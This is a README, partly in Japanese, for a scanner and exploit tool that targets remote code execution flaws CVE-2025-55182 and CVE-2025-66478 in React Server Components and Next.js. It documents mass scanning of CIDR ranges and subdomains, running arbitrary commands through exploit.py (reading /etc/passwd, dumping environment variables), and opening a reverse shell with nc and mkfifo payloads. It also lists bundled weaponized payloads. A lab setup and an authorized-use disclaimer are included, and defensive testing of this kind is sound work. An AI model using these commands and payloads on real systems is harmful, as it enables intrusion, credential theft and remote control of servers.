
React2shell-web-scanner
CVE-2025-55182 および CVE-2025-66478 向けの高精度脆弱性スキャナー - React Server Components / Next.js におけるリモートコード実行(RCE)脆弱性
📖 詳細な技術分析、エクスプロイトの仕組み、IOC データについては、SECURITY-RESEARCH.md を参照してください
このツールは、教育目的および許可を得たセキュリティテスト専用に提供されます。 コンピュータシステムへの不正アクセスは違法です。これらのツールは、自分が所有するシステム、またはテストするための明示的な書面による許可を得たシステムでのみ使用してください。作者は誤用に対するいかなる責任も負いません。
| CVE | 説明 | CVSS |
|---|---|---|
| CVE-2025-55182 | React Server Components 安全でない逆シリアライゼーション RCE | 9.8 Critical |
| CVE-2025-66478 | Next.js Server Actions RCE | 9.8 Critical |
影響を受けるパッケージ:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0修正済みバージョン:
# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# Single URL
python3 react2shell-scanner -u https://example.com
# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check
# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Custom paths
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v
# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
.phoenix.config を作成:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
または環境変数を使用:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
Docker ベースのテスト環境が含まれています。クイックリファレンスは Lab-instructions-sample.md を参照してください。
# Start lab
cd test-lab/lab
docker-compose up -d
# Services:
# - Vulnerable: http://localhost:3011
# - Patched: http://localhost:3012
# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Test patched instance
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Run full demo
./test-and-demo.sh --full-demo
⚠️ 注: エクスプロイトコマンド(例:
exploit.py -c "whoami")は実際の RCE を実行します。研究目的のため、ローカルの Docker コンテナでのみ使用してください。
脆弱なターゲット上でコマンドを実行します。Python 3.11+ が必要です
cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Start listener (in another terminal)
nc -lvnp 4444
# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Available payload types: nc, nc-mkfifo, sh, bash, perl
| オプション | 説明 |
|---|---|
-u, --url | ターゲット URL(必須) |
-c, --cmd | 実行するコマンド |
-r, --reverse | リバースシェルモードを有効化 |
-l, --lhost | リバースシェル用のリスナーホスト |
-p, --lport | リバースシェル用のリスナーポート |
-P, --payload | ペイロードタイプ: nc, nc-mkfifo, sh, bash, perl |
--timeout | リクエストタイムアウト(デフォルト: 10秒) |
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
このスキャナーには、進行中の悪用キャンペーンで観測された既知の侵害指標(IOC)が含まれています:
payloads-exploits/iocs.csv に基づく 32 の悪意ある IPpayloads-exploits/weaponized-payloads に含まれる兵器化されたペイロードpayloads-exploits/iocs_patterns.csv に含まれるドメイン、URL、ファイルハッシュ、暗号通貨ウォレットなどの拡張 IOC検出された IOC 一致は高重大度としてフラグ付けされます。
| ファイル | 内容 |
|---|---|
iocs.csv | 地理位置情報データ付きの既知の悪意ある IP 32 件 |
iocs_patterns.csv | 拡張 IOC: C2 ドメイン、ドロッパー URL、マルウェアハッシュ、Monero ウォレット |
weaponized-payloads | 実際の悪用で観測された実世界の攻撃ペイロード |
exploit-2025-55182 | エクスプロイト用の生の HTTP リクエスト形式 |
--safe-check)echo $((41*271)) を実行するペイロードを送信